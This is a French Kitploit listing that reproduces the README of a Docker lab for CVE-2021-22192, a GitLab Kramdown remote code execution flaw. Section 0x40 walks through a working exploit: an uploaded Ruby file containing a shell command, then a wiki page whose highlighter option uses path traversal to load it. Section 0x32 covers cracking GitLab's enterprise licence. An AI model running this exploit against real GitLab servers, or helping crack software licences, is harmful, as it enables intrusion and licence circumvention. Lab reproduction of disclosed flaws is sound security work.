Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-22192 — Laboratoire CVE-2021-22192 : vulnérabilité RCE pour utilisateur non autorisé | Kitploit
Outils/GitHubGitHub/exp-docs/cve-2021-22192
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubexp-docs/cve-2021-22192

CVE-2021-22192

Laboratoire CVE-2021-22192 : vulnérabilité RCE pour utilisateur non autorisé

Voir le dépôt
384il y a 3 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2021-22192

Lab CVE-2021-22192 : vulnérabilité RCE pour utilisateur non authentifié


0x10 Environnement du lab

0x20 Structure des répertoires

root@kitploit:~
CVE-2021-22192
├── README.md ............... [此 README 说明]
├── imgs .................... [辅助 README 说明的图片]
├── gitlab .................. [Gitlab 容器的挂载目录]
│   ├── Dockerfile .......... [Gitlab 的 Docker 构建文件]
│   ├── config .............. [Gitlab 配置挂载目录]
│   ├── data ................ [Gitlab 数据挂载目录]
│   ├── logs ................ [Gitlab 日志挂载目录]
│   ├── keys ................ [Gitlab 破解 License 存储目录]
│   └── nginx ............... [Gitlab 内置 nginx 配置目录(备份配置,勿改)]
├── runner .................. [Gitlab 容器的挂载目录]
├── license ................. [破解 License 的容器构建目录]
│   ├── Dockerfile .......... [License 的 Docker 构建文件]
│   └── license.rb .......... [生成破解 License 的 Ruby 脚本]
├── test .................... [Kramdown 调试目录]
├── docker-compose.yml ...... [Docker 的构建配置]
├── keygen.ps1 .............. [Windows: 一键生成破解 License]
├── keygen.sh ............... [Linux:   一键生成破解 License]
├── run.ps1 ................. [Windows: 一键运行 Gitlab 靶场]
├── run.sh .................. [Linux:   一键运行 Gitlab 靶场]
├── register.ps1 ............ [Windows: 一键注册 Runner]
├── register.sh ............. [Linux:   一键注册 Runner]
├── stop.ps1 ................ [Windows: 一键停止 Gitlab 靶场]
└── stop.sh ................. [Linux:   一键停止 Gitlab 靶场]

0x30 Mise en place du lab

0x31 Construction

  • La machine hôte doit disposer de docker et docker-compose préinstallés
  • Cloner ce dépôt : git clone https://github.com/lyy289065406/CVE-2021-22192
  • Générer la paire de clés de crack : ./keygen.sh ou ./keygen.ps1
  • Construire et exécuter Gitlab (vérifier que le port 80 est libre) : ./run.sh ou ./run.ps1
  • Après environ 5 minutes, vous pouvez vous connecter à Gitlab depuis le navigateur : http://127.0.0.1 (à la première connexion, il faut réinitialiser le mot de passe du compte administrateur root)

0x32 Crack

Lors de la génération de la paire de clés de crack, la clé publique a déjà été écrite dans le conteneur Gitlab. Il reste à téléverser la clé privée via l'interface web pour terminer le crack :

  • La paire de clés est générée dans le répertoire ./gitlab/keys/ ; copiez le contenu de .gitlab-license (la clé privée)
  • Ouvrez la page http://127.0.0.1/admin/license/new avec le compte root
  • Sélectionnez Enter license key, collez la clé privée, puis cliquez sur le bouton Upload license pour terminer le crack

0x33 Configuration du Runner

  • Ouvrez la page http://127.0.0.1/admin/runners avec le compte root
  • Trouvez le registration token et copiez-le
  • Enregistrez le Runner : ./register.sh $TOKEN ou ./register.ps1 $TOKEN

Dès lors, tous les dépôts peuvent utiliser ce Runner pour exécuter des scripts CI (Pipeline Jobs)

0x34 Accès aux Gitlab Pages

Supposons que votre nom d'utilisateur Gitlab soit ${username} et le nom du dépôt ${repository_name}. Une fois que le dépôt a été construit avec succès en SSG via jekyll, il suffit d'accéder à l'URL suivante :

http://127.0.0.1:8000/${username}/${repository_name}/public/

0x40 Validation du lab

Pour le détail du processus, voir hackerone.

  1. Avec n'importe quel utilisateur, cliquez sur + -> New snippet en haut
  2. Remplissez Title comme vous voulez, cliquez sur le champ Description (optional), puis cliquez sur Attach a file et téléversez un fichier nommé payload.rb avec le contenu suivant :
root@kitploit:~
puts "hello from ruby"
`echo exp was here > /tmp/exp`

À ce moment, le lien du fichier s'affiche dans Description (optional), par exemple : [payload.rb](https://github.com/exp-docs/cve-2021-22192/blob/HEAD/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb), et le fichier a déjà été téléversé dans le conteneur docker_gitlab à /var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb. (Quant à Create snippet, vous pouvez cliquer ou non ; il suffit de retenir le Hash du chemin du fichier)

Attention : ne passez pas par Snippet -> New snippet dans la barre latérale gauche d'un dépôt, sinon le chemin du fichier affiché deviendra [payload.rb](https://github.com/exp-docs/cve-2021-22192/blob/HEAD/uploads/b5e4fed771f26ef75700ebf763f489ab/payload.rb) et en réalité le fichier sera téléversé dans le conteneur docker_gitlab vers /var/opt/gitlab/gitlab-rails/uploads/@hash/随机字符串/payload.rb ; comme il y a une chaîne aléatoire au milieu, c'est difficilement exploitable.

  1. Cliquez sur + New Project en haut, nommez-le comme vous voulez (par exemple poc, ou ne le créez pas et utilisez un dépôt existant)
  2. Cliquez sur Wiki à gauche, puis sur Create your first page
  3. Remplissez Title et Content comme vous voulez, puis cliquez sur Create page
  4. Gitlab génère alors le dépôt wiki du dépôt poc, nommé poc.wiki (cliquez sur Clone repository en haut à droite pour trouver la commande de clonage : git clone http://127.0.0.1/root/poc.wiki.git).
  5. Dans le terminal local, exécutez git clone http://127.0.0.1/root/poc.wiki.git && cd poc.wiki pour télécharger le dépôt wiki en local
  6. À la racine du dépôt wiki, ajoutez un fichier nommé avec le contenu suivant (attention : remplacez le Hash dans le chemin du fichier par celui obtenu précédemment) :
root@kitploit:~
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb\}" /}
~~~ ruby
def what?
42
end
~~~
  1. Exécutez la commande pour envoyer ce fichier sur Gitlab : git add -A . && git commit -m "page1.rmd" && git push
  2. Revenez à la page Gitlab Wiki, rafraîchissez ; la page page1 créée localement apparaît dans l'index de droite, cliquez dessus
  3. Une fois le contenu affiché sur la page, connectez-vous au conteneur docker_gitlab : le fichier /tmp/exp a bien été créé

Après avoir cliqué sur la page page1.rmd, vous pouvez en réalité voir le message d'erreur dans gitlab/logs/gitlab-rails/exceptions_json.log, mais cela n'empêche pas la commande d'avoir été exécutée :

root@kitploit:~
{
    "severity": "ERROR",
    "time": "2021-04-26T10:36:07.978Z",
    "correlation_id": "A24bByUP9L5",
    "tags.correlation_id": "A24bByUP9L5",
    "tags.locale": "en",
    "user.id": 1,
    "user.email": "[email protected]",
    "user.username": "root",
    "extra.project_id": 1,
    "extra.file_name": "page1.rmd",
    "exception.class": "NameError",
    "exception.message": "wrong constant name ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb",
    "exception.backtrace": [
        "lib/gitlab/other_markup.rb:11:in `render'",
        "app/helpers/markup_helper.rb:274:in `other_markup_unsafe'",
        "app/helpers/markup_helper.rb:153:in `markup_unsafe'",
        "app/helpers/markup_helper.rb:138:in `render_wiki_content'",
        "app/views/shared/wikis/show.html.haml:25",
        "app/controllers/application_controller.rb:134:in `render'",
        "app/controllers/concerns/wiki_actions.rb:68:in `show'",
        "ee/lib/gitlab/ip_address_state.rb:10:in `with'",
        "ee/app/controllers/ee/application_controller.rb:44:in `set_current_ip_address'",
        "app/controllers/application_controller.rb:491:in `set_current_admin'",
        "lib/gitlab/session.rb:11:in `with_session'",
        "app/controllers/application_controller.rb:482:in `set_session_storage'",
        "app/controllers/application_controller.rb:476:in `set_locale'",
        "lib/gitlab/error_tracking.rb:50:in `with_context'",
        "app/controllers/application_controller.rb:541:in `sentry_context'",
        "app/controllers/application_controller.rb:469:in `block in set_current_context'",
        "lib/gitlab/application_context.rb:52:in `block in use'",
        "lib/gitlab/application_context.rb:52:in `use'",
        "lib/gitlab/application_context.rb:20:in `with_context'",
        "app/controllers/application_controller.rb:462:in `set_current_context'",
        "ee/lib/gitlab/jira/middleware.rb:19:in `call'"
    ]
}
Télécharger l’outil
page1.rmd